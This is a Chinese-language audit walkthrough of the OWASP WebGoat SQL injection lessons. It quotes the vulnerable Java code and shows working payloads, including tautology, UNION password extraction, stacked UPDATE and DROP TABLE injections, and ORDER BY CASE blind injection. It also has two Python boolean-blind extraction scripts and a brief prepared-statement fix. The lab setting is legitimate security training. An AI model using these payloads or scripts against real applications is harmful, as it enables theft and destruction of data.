3.sql注入模块审计

sql injection (intro)

1.SqlInjection.lesson9

f12打开控制台，点击get account info，发现数据提交到了/assignment5a路由

全局搜索/assignment5a路由定位到

webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java

@PostMapping("/SqlInjection/assignment5a")
@ResponseBody
public AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {
    return injectableQuery(account + " " + operator + " " + injection);
}

获取提交的数据。

query = "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'";

将获取到的参数进行sql拼接。此处就存在sql注入，直接将获取到的数据拼接到了sql语句中。

debug查看：

选择payload值：

Smith' or '1' = '1

熟悉sql注入的话很容易就能看出这里的问题：

SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

Or ‘1’=’1’永真，就注入出了所有的数据。

2.SqlInjection.lesson10

f12找到路由/assignment5b

全局搜索:/assignment5b

可以看到post提交的数据被赋值到了

String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;

其中login_count使用了占位符？，而accountName直接拼接到了sql语句中，注入就很明显了。

Login : 1

User_Id : 1 or 1=1

通过此处也能发现sql语句预编译的写法：

protected AttackResult injectableQuery(String login_count, String accountName) {
  // 采用 ？ 占位符
        String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
        try (Connection connection = dataSource.getConnection()) {
// 执行预编译
            PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);

            int count = 0;
            try {
                count = Integer.parseInt(login_count);
            } catch (Exception e) {
                return failed(this).output("Could not parse: " + login_count + " to a number"
                        + "<br> Your query was: " + queryString.replace("?", login_count)).build();
            }

            query.setInt(1, count);
            //String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid = " + accountName, ;
            try {
             // 预编译sql语句执行
                ResultSet results = query.executeQuery();

总结下来就是：

// 1. sql字段用占位符表示
String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName;
// 2.prepareStatement 预编译处理sql语句
PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
// 3.预编译sql语句执行
ResultSet results = query.executeQuery();

3.SqlInjection.lesson11

老方法直接定位到代码：

直接拼接神仙难救，唯一的区别是使用了单引号包裹输入的参数。

构造payload:

Employee Name:1' or '1'='1'--+
Authentication TAN: 1

4.SqlInjection.lesson12

一样的拼接代码，神仙难救，但是要求我们

Better go and change your own salary so you are earning the most!

要求改变自己的薪水，改变数据内容，可以使用堆叠注入update更新，构造payload如下：

1';update employees set SALARY=999999 where LAST_NAME='Smith'--+

5.SqlInjection.lesson13

一样的拼接，一样的注入。这一次要求我们删除access_log表，以清理痕迹。

一样堆叠注入，删除表结构，构造paylaod如下：

1%';drop table access_log;--+

sql injection (advanced)

1.SqlInjection.lesson/3

用户输入拼接到了sql语句。

Name字段出

构造payload:

Name:1'or'1'='1'--+

查到用户：Joe,然后构造payload：

Name:Joe' union select 1,'2','3','4','5','6',7;-- 

但是该paylaod一直报错，有点不理解，然后去查看wp,发现payload如下：

Name:' or true union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- 

思考为啥Joe' union select 1,'2','3','4','5','6',7;-- 。试了一下直接查询Joe，好家伙查不到数据，那大概确定了，

查询不到数据，直接返回No results matched. Try Again.之后联合注入的数据自然也就没有显示。

所以才采用payload:

Name:' or true union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- 

‘ or true永真。返回所有数据，然后union select 1,’2’,’3’,’4’,’5’,password, 7 from user_system_data where user_name=’dave’– 查询password到第6个字段。

其实也可以采用：

Smith' union select null,user_name,password,null,null,null,null from user_system_data --

lastName能查询到数据….

2.SqlInjection.lesson/5

打开首先是登录功能查看代码：

登录功能明显采用了预编译，没有注入，一开始还很奇怪，在想难道预编译也有什么绕过方式？想了一会儿没啥思路，再去登录口看到了注册模块，定位代码如下：

明显的拼接，确定注入点。且没有回显点，只能采用盲注的方式。

首先构造payload：

tom'and'1'='1

tom'and'1'='1

当结果为真时返回 user{0}already exists。结果为假时：tom’and’1’=’2 created。

此时就很容易想到布尔盲注，构造注入脚本：

import requests
import string

cookies = {}
cookies["JSESSIONID"]="4UVsSRJn_sA-WPr0OJR-h3pYxSh7aT3vamSEefkO"
enums = string.ascii_lowercase + string.digits + "." + "_" + ","
i = 1
while True:
    flag = 0
    for value in enums:
        sql_value = "tom\' and substring(password,{},1)=\'{}".format(i,value)
        url = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge"
        put_data = {"username_reg":sql_value,"email_reg":"123@123","password_reg":"test","confirm_password_reg":"test"}
        req = requests.put(url,data=put_data,cookies=cookies)
        text = req.text
        if "already exists" in text:
            print(value,end='')
            i+=1
            flag = 1
    if flag == 0:
        break

sql injection (mitigation)

1.SqlInjectionMitigations.lesson/4

构造安全的sql查询：

2.SqlInjectionMitigations.lesson/5

try{
   	Connection ct=DriverManager.getConnection(DBURL,DBUSER,DBPW);
    PreparedStatement ps=ct.prepareStatement("select * from users where name=?");
    ps.setString(1,"3");
    ResultSet rs=ps.executeQuery();
} catch(Exception e){
    System.out.println("123");
}

3.SqlInjectionMitigations.lesson/11

定位到：webgoat/WebGoat/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java

package org.owasp.webgoat.sql_injection.mitigation;

import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.LessonDataSource;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;

/**
 * @author nbaars
 * @since 6/13/17.
 */
@RestController
@RequestMapping("SqlInjectionMitigations/servers")
@Slf4j
public class Servers {

    private final LessonDataSource dataSource;

    @AllArgsConstructor
    @Getter
    private class Server {

        private String id;
        private String hostname;
        private String ip;
        private String mac;
        private String status;
        private String description;
    }

    public Servers(LessonDataSource dataSource) {
        this.dataSource = dataSource;
    }

    @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
    @ResponseBody
    public List<Server> sort(@RequestParam String column) throws Exception {
        List<Server> servers = new ArrayList<>();

        try (Connection connection = dataSource.getConnection();
             PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by " + column)) {
            ResultSet rs = preparedStatement.executeQuery();
            while (rs.next()) {
                Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
                servers.add(server);
            }
        }
        return servers;
    }

}

问题主要出在这里：

将获取的参数直接拼接到order by后面：
构造payload:

/WebGoat/SqlInjectionMitigations/servers?column=case+when+(select+substr(ip,1,1)%3d'1'+from+servers+where+hostname%3d'webgoat-prd')+then+hostname+else+mac+end

解码：
/WebGoat/SqlInjectionMitigations/servers?column=case+when+(select+substr(ip,1,1)='1'+from+servers+where+hostname='webgoat-prd')+then+hostname+else+mac+end

这里采用了case when then else end语句。https://juejin.cn/post/6844903542541516807

使用实例：

SELECT 
        CASE WHEN SEX = '1' THEN '男' 
             WHEN SEX = '2' THEN '女'
        ELSE '性别不明' END  
        FROM  PERSON

大体意思就是：

查询 person表，当sex=1时返回男，sex=2是返回女，否则性别不明。

sql注入的完整语句就为：

select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by case+when+(select+substr(ip,1,1)='1'+from+servers+where+hostname='webgoat-prd')+then+hostname+else+mac+end

(select+substr(ip,1,1)='1'+from+servers+where+hostname='webgoat-prd')返回true/flase，决定是根据hostname还是mac来排序，此时就可以利用布尔盲注。

布尔盲注脚本：

# -*- coding:utf-8 -*-

import requests
from string import digits
chars = digits+"."

headers = {
    'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
    'JSESSIONID': 'gDbal1EmdcCUptfZ-GIYSBFIFcPZlpBOht4IqlrL'
}
i = 0
result = ""
proxy={"http": "http://127.0.0.1:8081"}
while True:
    i += 1
    temp = result
    for char in chars:
        vul_url = "http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char)
        resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
        # print(resp.json())
        // json解析获取hostname的值，根据hostname排序时，第一个值为webgoat-acc
        if 'webgoat-acc' in resp.json()[0]['hostname']:
            result += char
    print(result)
    if temp == result:
        break